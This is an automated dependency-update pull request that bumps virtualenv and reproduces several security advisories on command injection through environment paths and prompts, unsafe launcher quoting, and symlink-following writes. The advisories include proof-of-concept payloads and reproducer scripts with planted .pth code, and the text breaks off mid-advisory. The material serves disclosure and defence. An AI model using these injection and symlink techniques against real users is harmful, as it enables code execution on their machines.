chore(deps): update dependency virtualenv to v21.14.9 [security] by renovate[bot] · Pull Request #146 · statnett/linerate

renovate · 2026-11-09T21:38:09Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
virtualenv (changelog)	`21.12.1` → `21.14.9`

virtualenv activation scripts run code from a path that contains a placeholder name

CVE-2026-113776 / GHSA-8rjx-v5ww-45pp

More information

Details

Impact

ViaTemplateActivator.instantiate_template replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment.

__VIRTUAL_NAME__ holds the environment's directory name, so a destination such as A__VIRTUAL_NAME__B/x'$(touch PWNED)'y is enough. In the default activate for bash, the VIRTUAL_ENV line renders as:

VIRTUAL_ENV='/tmp/t/A'x'"'"'$(touch PWNED)'"'"'y'B/x'"'"'$(touch PWNED)'"'"'y'

Sourcing that script runs touch PWNED. The same payload in a path without the placeholder name runs nothing. activate.fish runs the command the same way, and the reporter also showed Python code execution through activate.xsh and bin/activate_this.py. In activate.csh, a directory named after a prompt display placeholder, such as __VIRTUAL_PROMPT_DISPLAY_TCSH__, breaks the script with Unmatched '''.

No change to quote() can stop this, because the rewrite happens after quote() ran; it defeats shlex.quote and repr() alike.

An attacker needs to influence the destination path or --prompt: a CI job or wrapper tool that builds the path from a branch or project name, or a directory in a cloned repository or unpacked archive.

The bug affects versions 20.26.6 through 21.14.1. Version 20.26.6 first quoted template values (#2768) and introduced the per-key loop.

Patches

Fixed in 21.14.2. Activation scripts now keep a placeholder name in the environment's path or prompt as plain text, and activating the example above runs nothing. Fix: pypa/virtualenv@602b266

Workarounds

Do not create an environment whose path or --prompt contains a placeholder name such as __VIRTUAL_NAME__, __VIRTUAL_ENV__ or __VIRTUAL_PROMPT__, and inspect the generated activation script before you source one you did not create.

Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote

CVE-2026-113732 / GHSA-c947-3pg5-gm8q

More information

Details

Impact

FishActivator defines no quote(), so it inherits ViaTemplateActivator.quote, which returns shlex.quote(string). That function follows POSIX sh rules, where a backslash inside single quotes stays a literal character. fish reads \' inside single quotes as an escaped quote and \\ as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where shlex.quote put the end, and fish expands the command substitution that follows.

The environment path reaches set -gx VIRTUAL_ENV, and --prompt or VIRTUALENV_PROMPT reaches set -gx VIRTUAL_ENV_PROMPT. For --prompt "x\'\$(touch PWNED)'\'", the generated activate.fish contains:

set -gx VIRTUAL_ENV_PROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"''

source bin/activate.fish runs touch PWNED, and fish prints no error. The same payload as a directory name runs through VIRTUAL_ENV. --prompt . takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.

virtualenv generates activate.fish by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.

The bug affects every release up to 21.14.1 that ships activate.fish. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept shlex.quote.

Patches

Fixed in 21.14.2. activate.fish now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: pypa/virtualenv@3bddeaf

Workarounds

Do not create an environment whose path or prompt contains a backslash, and inspect activate.fish before you source one you did not create.

Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST

CVE-2026-113726 / GHSA-5vjq-rrrf-7h2q

More information

Details

Impact

zsh users activate an environment with the bash activate script, which puts the environment name into PS1. Since
21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when BASH_VERSION is set, so
zsh gets the raw value. With the PROMPT_SUBST option set, zsh runs parameter expansion, command substitution and
arithmetic expansion on PS1 each time it draws the prompt. A name that contains $(...), backticks or ${...} then
runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from --prompt or VIRTUALENV_PROMPT. After you create an
environment with:

$ virtualenv 'x$(touch PWNED)y'

source 'x$(touch PWNED)y/bin/activate' in a zsh session with PROMPT_SUBST set creates PWNED, and the prompt shows
(xy). Passing that value as --prompt to an environment with a plain name has the same effect. Without
PROMPT_SUBST, zsh shows the name as text and runs nothing. bash runs nothing either.

A plain zsh starts with PROMPT_SUBST off. oh-my-zsh users have it on: oh-my-zsh loads
lib/theme-and-appearance.zsh
at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper
tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.
--prompt . takes the current directory's name.

zsh also reads % in PS1 as a prompt escape, so a name with %n showed the user name in place of those characters,
though without running commands.

The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed
21.9.1.

Patches

Fixed in 21.14.4. Under zsh, activate now escapes the name the way it does under bash and doubles
%, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when
PROMPT_SUBST is off, because a user can set the option after activation; a name with a backslash, dollar sign or
backtick then shows the added backslashes.
Fix: pypa/virtualenv@5b91536

Workarounds

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run
unsetopt prompt_subst if your prompt does not need it. Check the name of an environment you did not create before you
source its activate.

Credits

Kaya Emre Arikan (@kemrec) reported this issue.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv bash activate runs commands from an environment name with a backslash before $

CVE-2026-113725 / GHSA-vxj4-q4g9-crj7

More information

Details

Summary

The bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a
backslash in the name undoes the escaping and a name containing \$(...) runs as commands in the user's shell each
time bash draws the prompt.

Affected area

src/virtualenv/activation/bash/activate.sh, the block that prepends the environment name to PS1.

Attacker-controlled input

The environment name: the environment directory's name, or the --prompt or VIRTUALENV_PROMPT value. An attacker
needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,
or a directory in a cloned repository or unpacked archive. --prompt . takes the current directory's name.

Details

bash handles PS1 in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning \\
into \ and \$ into $ (or # for root), and then runs parameter expansion, command substitution and arithmetic
expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only
for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before
21.13.0 do not escape the name at all. A bash running as root decodes \$ to #, so the payload shows the wrong text
there but runs nothing. zsh does no decode pass and is not affected.

Proof of concept

$ virtualenv --prompt 'a\$(touch PWNED)' env
$ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"'
$ ls PWNED
PWNED

Impact

Arbitrary command execution in the shell of a user who sources the activate script of an environment whose name an
attacker influenced, with that user's privileges, once per prompt draw.

Versions tested

21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.

Known mitigation

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run shopt -u promptvars
if your prompt does not need expansion. Check the name of an environment you did not create before you source its
activate.

Latest release

The problem reproduces on the latest virtualenv release.

21.14.6

Patches

Fixed in 21.14.7. Under bash, activate now escapes backslashes, dollar signs and backticks for both passes, so the
example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.
Fix: pypa/virtualenv@c3104e0

Credits

Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

CVE-2026-113722 / GHSA-c978-59m8-c77v

More information

Details

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in
ScriptMakerCustom.

Mechanism

The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like
'''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under
my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was
created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.
PR #3417 quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

##### The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

##### check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's
vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing
launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to
regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.
The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are
attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's
generated-script precedent. The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review
records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are
unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating
environments at destinations derived from untrusted input.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Deletion recovery can change a symlink target's mode

CVE-2026-113724 / GHSA-43mp-35q3-x3fq

More information

Details

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have
permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in
safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler
calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's
mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become
0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user;
root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to
the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and
virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the
key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the
key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the
widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to

#3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on
deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

##### the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

##### from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)

def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after

control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

##### check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py


#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion
failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that
opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It
rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains
outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before
retrying with broader privileges.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Builtin creation follows linked environment directories

CVE-2026-113716 / GHSA-cw65-gx24-rc82

More information

Details

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

Affected code

The relevant 21.14.8 source is in
builtin creator,
ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote
python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later
pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

Attack sequence

sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)

def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation

print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)

##### python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

##### check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

##### one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

##### relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

##### pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

##### six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation
output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.
Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced
link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree
replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by
another account.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Generated files can follow existing destination links

CVE-2026-113721 / GHSA-558c-9hv2-4prj

More information

Details

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The
template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the
existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write
permission at the linked target. The destination parent must remain controlled during creation; concurrent
parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in
template writer,
configuration writer.

Mechanism

ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true. A dangling symlink
therefore survives, and write_bytes() creates its target outside the environment. Other generated files have related
final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard
link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's
permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bash_aliases and an executable venv/bin/basename.
Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation
script through the dangling link, creating ~/.bash_aliases as a regular file. Debian's stock .bashrc sources that
file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer
checks that the link remains, ~/.bash_aliases appears, and the second shell executes the planted file. A separate
manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated
bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not
arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first
released in 20.0.0b1. PR #3431 replaces pre-existing output links and
uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent
directories during creation.

Attack sequence

sequenceDiagram
    participant A as Prepared project tree
    participant V as virtualenv writer
    participant H as User home
    participant B as Next interactive bash
    A->>V: venv/bin/activate links to missing ~/.bash_aliases
    V->>V: Path.exists() follows link and returns false
    V->>H: write activation bytes through link
    H-->>B: ~/.bash_aliases now exists
    B->>H: .bashrc sources ~/.bash_aliases
    B->>A: PATH reaches planted venv/bin/basename
    A-->>B: marker created
    Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

